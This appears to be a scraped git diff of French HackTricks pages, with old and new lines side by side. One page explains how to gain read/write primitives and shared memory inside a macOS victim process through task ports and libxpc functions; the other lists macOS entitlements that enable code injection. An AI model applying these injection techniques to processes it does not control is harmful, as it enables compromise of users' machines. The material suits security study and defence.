Pour lire et écrire dans la mémoire en utilisant notre primitive d'exécution, nous rechercherons des fonctions comme celles-ci :
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
|
@ -64,7 +64,7 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
Une analyse rapide de certaines bibliothèques courantes a révélé de bons candidats. Pour lire la mémoire, nous pouvons utiliser la fonction `property_getName()` de la [bibliothèque d'exécution Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html):
|
||||
Une analyse rapide de certaines bibliothèques courantes a révélé de bons candidats. Pour lire la mémoire, nous pouvons utiliser la fonction `property_getName()` de la [bibliothèque Objective-C runtime](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) :
|
||||
```c
|
||||
const char *property_getName(objc_property_t prop)
|
||||
{
|
||||
|
@ -73,30 +73,42 @@ return prop->name;
|
|||
```
|
||||
Il s'avère que `prop` est le premier champ de `objc_property_t`, donc cela correspond directement à la fonction hypothétique `read_func` ci-dessus. Nous devons simplement effectuer un appel de fonction à distance avec le premier argument étant l'adresse que nous voulons lire, et la valeur de retour sera les données à cette adresse.
|
||||
|
||||
Trouver une fonction pré-faite pour écrire dans la mémoire est légèrement plus difficile, mais il existe encore de bonnes options sans effets secondaires indésirables. Dans libxpc, la fonction `_xpc_int64_set_value()` a le désassemblage suivant:
|
||||
Trouver une fonction pré-faite pour écrire en mémoire est légèrement plus difficile, mais il existe encore de bonnes options sans effets secondaires indésirables. Dans libxpc, la fonction `_xpc_int64_set_value()` a le désassemblage suivant :
|
||||
```
|
||||
__xpc_int64_set_value:
|
||||
str x1, [x0, #0x18]
|
||||
ret
|
||||
```
|
||||
Ainsi, pour effectuer une écriture 64 bits à l'adresse `address`, nous pouvons effectuer l'appel distant :
|
||||
Ainsi, pour effectuer une écriture de 64 bits à l'adresse `adresse`, nous pouvons effectuer l'appel à distance :
|
||||
```c
|
||||
_xpc_int64_set_value(address - 0x18, value)
|
||||
```
|
||||
Avec ces primitives en main, nous sommes prêts à créer de la mémoire partagée.
|
||||
Avec ces primitives en main, nous sommes prêts à créer une mémoire partagée.
|
||||
|
||||
### 4. Mémoire partagée
|
||||
|
||||
Notre prochaine étape consiste à créer de la mémoire partagée entre la tâche distante et locale. Cela nous permettra de transférer plus facilement des données entre les processus : avec une région de mémoire partagée, la lecture et l'écriture de mémoire arbitraire sont aussi simples qu'un appel distant à `memcpy()`. De plus, avoir une région de mémoire partagée nous permettra de configurer facilement une pile afin que nous puissions appeler des fonctions avec plus de 8 arguments.
|
||||
Notre prochaine étape consiste à créer une mémoire partagée entre la tâche distante et locale. Cela nous permettra de transférer plus facilement des données entre les processus : avec une région de mémoire partagée, la lecture et l'écriture arbitraire de mémoire sont aussi simples qu'un appel distant à `memcpy()`. De plus, avoir une région de mémoire partagée nous permettra de configurer facilement une pile afin de pouvoir appeler des fonctions avec plus de 8 arguments.
|
||||
|
||||
Pour simplifier les choses, nous pouvons réutiliser les fonctionnalités de mémoire partagée de libxpc. Libxpc fournit un type d'objet XPC, `OS_xpc_shmem`, qui permet d'établir des régions de mémoire partagée sur XPC. En inversant libxpc, nous déterminons que `OS_xpc_shmem` est basé sur des entrées de mémoire Mach, qui sont des ports Mach qui représentent une région de mémoire virtuelle. Et comme nous avons déjà montré comment envoyer des ports Mach à la tâche distante, nous pouvons l'utiliser pour configurer facilement notre propre mémoire partagée.
|
||||
Pour simplifier les choses, nous pouvons réutiliser les fonctionnalités de mémoire partagée de libxpc. Libxpc fournit un type d'objet XPC, `OS_xpc_shmem`, qui permet d'établir des régions de mémoire partagée via XPC. En inversant libxpc, nous déterminons que `OS_xpc_shmem` est basé sur des entrées de mémoire Mach, qui sont des ports Mach représentant une région de mémoire virtuelle. Et comme nous avons déjà montré comment envoyer des ports Mach à la tâche distante, nous pouvons l'utiliser pour configurer facilement notre propre mémoire partagée.
|
||||
|
||||
Premièrement, nous devons allouer la mémoire que nous partagerons en utilisant `mach_vm_allocate()`. Nous devons utiliser `mach_vm_allocate()` afin que nous puissions utiliser `xpc_shmem_create()` pour créer un objet `OS_xpc_shmem` pour la région. `xpc_shmem_create()` se chargera de créer l'entrée de mémoire Mach pour nous et stockera le droit d'envoi Mach vers l'entrée de mémoire dans l'objet `OS_xpc_shmem` opaque à l'offset `0x18`.
|
||||
Premièrement, nous devons allouer la mémoire que nous partagerons en utilisant `mach_vm_allocate()`. Nous devons utiliser `mach_vm_allocate()` afin de pouvoir utiliser `xpc_shmem_create()` pour créer un objet `OS_xpc_shmem` pour la région. `xpc_shmem_create()` se chargera de créer l'entrée de mémoire Mach pour nous et stockera le droit d'envoi Mach vers l'entrée de mémoire dans l'objet `OS_xpc_shmem` opaque à l'offset `0x18`.
|
||||
|
||||
Une fois que nous avons le port d'entrée de mémoire, nous créerons un objet `OS_xpc_shmem` dans le processus distant représentant la même région de mémoire, ce qui nous permettra d'appeler `xpc_shmem_map()` pour établir la mise en correspondance de mémoire partagée. Tout d'abord, nous effectuons un appel distant à `malloc()` pour allouer de la mémoire pour l'objet `OS_xpc_shmem` et utilisons notre primitive d'écriture de base pour copier le contenu de l'objet `OS_xpc_shmem` local. Malheureusement, l'objet résultant n'est pas tout à fait correct : son champ d'entrée de mémoire Mach à l'offset `0x18` contient le nom de la tâche locale pour l'entrée de mémoire, pas le nom de la tâche distante. Pour corriger cela, nous utilisons le tour de passe-passe `thread_set_special_port()` pour insérer un droit d'envoi vers l'entrée de mémoire Mach dans la tâche distante, puis écrasons le champ `0x18` avec le nom de l'entrée de mémoire distante. À ce stade, l'objet `OS_xpc_shmem` distant est valide et la mise en correspondance de mémoire peut être établie avec un appel distant à `xpc_shmem_remote()`.
|
||||
Une fois que nous avons le port de l'entrée de mémoire, nous créerons un objet `OS_xpc_shmem` dans le processus distant représentant la même région de mémoire, ce qui nous permettra d'appeler `xpc_shmem_map()` pour établir la mise en correspondance de la mémoire partagée. Tout d'abord, nous effectuons un appel distant à `malloc()` pour allouer de la mémoire pour l'objet `OS_xpc_shmem` et utilisons notre primitive d'écriture de base pour copier le contenu de l'objet `OS_xpc_shmem` local. Malheureusement, l'objet résultant n'est pas tout à fait correct : son champ d'entrée de mémoire Mach à l'offset `0x18` contient le nom de la tâche locale pour l'entrée de mémoire, et non le nom de la tâche distante. Pour corriger cela, nous utilisons l'astuce `thread_set_special_port()` pour insérer un droit d'envoi vers l'entrée de mémoire Mach dans la tâche distante, puis nous écrasons le champ `0x18` avec le nom de l'entrée de mémoire distante. À ce stade, l'objet `OS_xpc_shmem` distant est valide et la mise en correspondance de la mémoire peut être établie avec un appel distant à `xpc_shmem_remote()`.
|
||||
|
||||
### 5. Contrôle total <a href="#step-5-full-control" id="step-5-full-control"></a>
|
||||
|
||||
Avec de la mémoire partagée à une adresse connue et une primitive d'exécution arbitraire, nous avons pratiquement terminé. Les lectures et écritures de mémoire arbitraires sont implémentées en appelant `memcpy()` vers et depuis la région partagée, respectivement. Les appels de fonction avec plus de 8 arguments sont effectués en disposant des arguments supplémentaires au-delà des 8 premiers sur la pile selon la convention d'appel. Le transfert de ports Mach arbitraires entre les tâches peut être effectué en envoyant des messages Mach sur les ports établis précédemment. Nous pouvons même transférer des descripteurs de fichiers entre les processus en utilisant des ports de fichiers (un grand merci à Ian Beer pour avoir démontré cette technique dans triple\_fetch!).
|
||||
Avec une mémoire partagée à une adresse connue et une primitive d'exécution arbitraire, nous avons pratiquement terminé. Les lectures et écritures arbitraires de mémoire sont implémentées en appelant `memcpy()` vers et depuis la région partagée, respectivement. Les appels de fonctions avec plus de 8 arguments sont effectués en disposant les arguments supplémentaires au-delà des 8 premiers sur la pile selon la convention d'appel. Le transfert de ports Mach arbitraires entre les tâches peut être effectué en envoyant des messages Mach sur les ports établis précédemment. Nous pouvons même transférer des descripteurs de fichiers entre les processus en utilisant des fileports (un grand merci à Ian Beer pour avoir démontré cette technique dans triple\_fetch!).
|
||||
|
||||
En bref, nous avons maintenant un contrôle total et facile sur le processus victime. Vous pouvez voir l'implémentation complète et l'API exposée dans la bibliothèque [threadexec](https://github.com/bazad/threadexec).
|
||||
En résumé, nous avons maintenant un contrôle total et facile sur le processus cible. Vous pouvez consulter l'implémentation complète et l'API exposée dans la bibliothèque [threadexec](https://github.com/bazad/threadexec).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,8 +4,8 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -16,22 +16,54 @@
|
|||
Notez que les autorisations commençant par **`com.apple`** ne sont pas disponibles pour les tiers, seuls Apple peut les accorder.
|
||||
{% endhint %}
|
||||
|
||||
## Élevé
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Cette autorisation permet d'obtenir le port de tâche du processus exécuté par le binaire avec cette autorisation et **d'injecter du code dedans**. Consultez [**ceci pour plus d'informations**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### **`com.apple.system-task-ports` (anciennement appelé `task_for_pid-allow`)**
|
||||
|
||||
**Cette autorisation permet d'**obtenir le **port de tâche pour n'importe quel** processus, à l'exception du noyau. Consultez [**ceci pour plus d'informations**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Cette autorisation permet d'obtenir le **port de tâche pour n'importe quel** processus, à l'exception du noyau. Consultez [**ceci pour plus d'informations**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
<details>
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
Les applications avec l'autorisation d'outil de débogage peuvent appeler `task_for_pid()` pour récupérer un port de tâche valide pour les applications non signées et tierces avec l'autorisation `Get Task Allow` définie sur `true`. Cependant, même avec l'autorisation d'outil de débogage, un débogueur ne peut pas obtenir les ports de tâche des processus qui n'ont pas l'autorisation `Get Task Allow` et qui sont donc protégés par la Protection de l'intégrité du système. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Cette autorisation permet de **charger des frameworks, des plug-ins ou des bibliothèques sans qu'ils soient signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, de sorte qu'un attaquant pourrait abuser d'un chargement de bibliothèque arbitraire pour injecter du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
Cette autorisation permet d'**utiliser des variables d'environnement DYLD** qui pourraient être utilisées pour injecter des bibliothèques et du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
|
||||
## Moyen
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
Cette autorisation permet de **créer de la mémoire qui est inscriptible et exécutable** en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
Cette autorisation permet de **remplacer ou patcher du code C**, d'utiliser la fonction **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisée), ou d'utiliser le framework **DVDPlayback**. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Inclure cette autorisation expose votre application à des vulnérabilités courantes dans les langages de code non sécurisés en mémoire. Réfléchissez attentivement à la nécessité de cette exception pour votre application.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur le disque pour forcer la sortie. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
L'autorisation de désactivation de la protection de la mémoire exécutable est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre application, permettant à un attaquant de réécrire le code exécutable de votre application sans détection. Privilégiez des autorisations plus restreintes si possible.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
TODO
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue